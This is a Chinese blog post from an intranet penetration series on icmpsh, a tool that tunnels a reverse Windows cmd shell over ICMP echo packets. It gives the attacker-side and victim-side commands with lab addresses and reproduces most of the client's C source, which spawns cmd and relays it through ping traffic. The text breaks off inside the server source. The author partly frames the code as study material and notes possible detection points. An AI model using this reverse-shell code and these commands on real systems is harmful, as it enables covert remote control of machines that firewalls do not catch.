内网渗透系列:内网隧道之icmpsh
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之icmpsh相关的知识,希望对你有一定的参考价值。
目录
前言
本文研究ICMP隧道的一个工具,icmpsh
github:https://github.com/bdamele/icmpsh
一、概述
1、简介
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
- 受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
- 主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。
条件:
- 目标机可以ping出来
- 目标机是windows
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度
3、使用
首先都要关闭内核对ping的响应:
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
icmpsh提供了以下选项:
-t host 必须的,客户端指定服务端
-r 发送 "Test1234" 字符串进行测试
-d milliseconds requests之间间隔毫秒级时间
-o milliseconds 设置毫秒级最大响应时间
-b num blanks的数量
-s bytes 最大数据缓冲区大小
服务端(攻击机)执行
python icmpsh_m.py <attacker's-IP> <target-IP>
客户端(目标机,win)执行
icmpsh.exe -t <attacker's-IP>
然后就建立了隧道
二、实践
1、场景
攻击机:kali 192.168.227.129
目标机:windows7 192.168.227.128
目标机能ping通攻击机
2、建立隧道
(1)攻击机
关闭内核对ping的响应并启动隧道:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128
(2)目标机
建立隧道
icmpsh.exe -t 192.168.227.129
(3)隧道建立成功
成功建立隧道并反弹shell
可以发现对中文名不友好
3、抓包看看
连接上迅速反弹shell
dir命令,发现是分散到每个心跳包里,限制了长度和频率
三、探索
1、源码与分析
(1)客户端
C语言
cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点
int verbose = 0;
// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si; //指定新进程的特性
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0))
return STATUS_PROCESS_NOT_CREATED;
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) //关闭内核对象out_read句柄的继承标志
return STATUS_PROCESS_NOT_CREATED;
if (!CreatePipe(&in_read, in_write, &sattr, 0))
return STATUS_PROCESS_NOT_CREATED;
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0))
return STATUS_PROCESS_NOT_CREATED;
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi))
return STATUS_PROCESS_NOT_CREATED;
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
void usage(char *path)
printf("%s [options] -t target\\n", path);
printf("options:\\n");
printf(" -t host host ip address to send ping requests to\\n");
printf(" -r send a single test icmp request and then quit\\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\\n");
printf(" -h this screen\\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\\n");
printf(" before quitting\\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\\n\\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\\n");
printf("increase the size (-s) of the data buffer\\n");
void create_icmp_channel(HANDLE *icmp_chan)
// create icmp file
*icmp_chan = (HANDLE) icmp_create();
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf)
return TRANSFER_FAILURE;
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0)
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size)
nbytes = max_in_data_size;
else
nbytes = echo_reply->DataSize;
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
free(temp_in_buf);
return TRANSFER_FAILURE;
int load_deps() //加载dll
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序
if (lib != NULL)
to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址
if (!to_ip)
return 0;
lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件
if (lib != NULL)
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send)
return 1;
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL)
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send)
return 1;
printf("failed to load functions (%u)", GetLastError());
return 0;
int main(int argc, char **argv)
int opt;
char *target;
unsigned int delay, timeout;
unsigned int ip_addr;
HANDLE pipe_read, pipe_write;
HANDLE icmp_chan;
unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size;
DWORD rs;
int blanks, max_blanks;
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK;
if (!load_deps())
printf("failed to load ICMP library\\n");
return -1;
// parse command line options
for (opt = 1; opt < argc; opt++)
if (argv[opt][0] == '-')
switch(argv[opt][1])
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc)
target = argv[opt + 1];
break;
case 'd':
if (opt + 1 < argc)
delay = atol(argv[opt + 1]);
break;
case 'o':
if (opt + 1 < argc)
timeout = atol(argv[opt + 1]);
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc)
max_blanks = atol(argv[opt + 1]);
break;
case 's':
if (opt + 1 < argc)
max_data_size = atol(argv[opt + 1]);
break;
default:
printf("unrecognized option -%c\\n", argv[1][0]);
usage(*argv);
return -1;
if (!target)
printf("you need to specify a host with -t. Try -h for more options\\n");
return -1;
ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE)
status = spawn_shell(&pi, &pipe_read, &pipe_write);
// create icmp channel
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE)
printf("unable to create ICMP file: %u\\n", GetLastError());
return -1;
// allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf)
printf("failed to allocate memory for transfer buffers\\n");
return -1;
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop
blanks = 0;
do
switch(status)
case STATUS_SINGLE:
// reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\\n");
break;
case STATUS_PROCESS_NOT_CREATED:
// reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\\n");
break;
default:
// read data from process via pipe
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL))
if (out_buf_size > 0)
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING)
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\\n", GetLastError());
else
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\\n", GetLastError());
break;
// send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS)
if (status == STATUS_OK)
// write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
blanks = 0;
else
// no reply received or error occured
blanks++;
// wait between requests
Sleep(delay);
while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK)
TerminateProcess(pi.hProcess, 0);
return 0;
(2)服务端
主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送
C语言
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1)
sum += *ptr++;
nbytes -= 2;
if(nbytes == 1内网渗透系列:内网隧道之ICMP隧道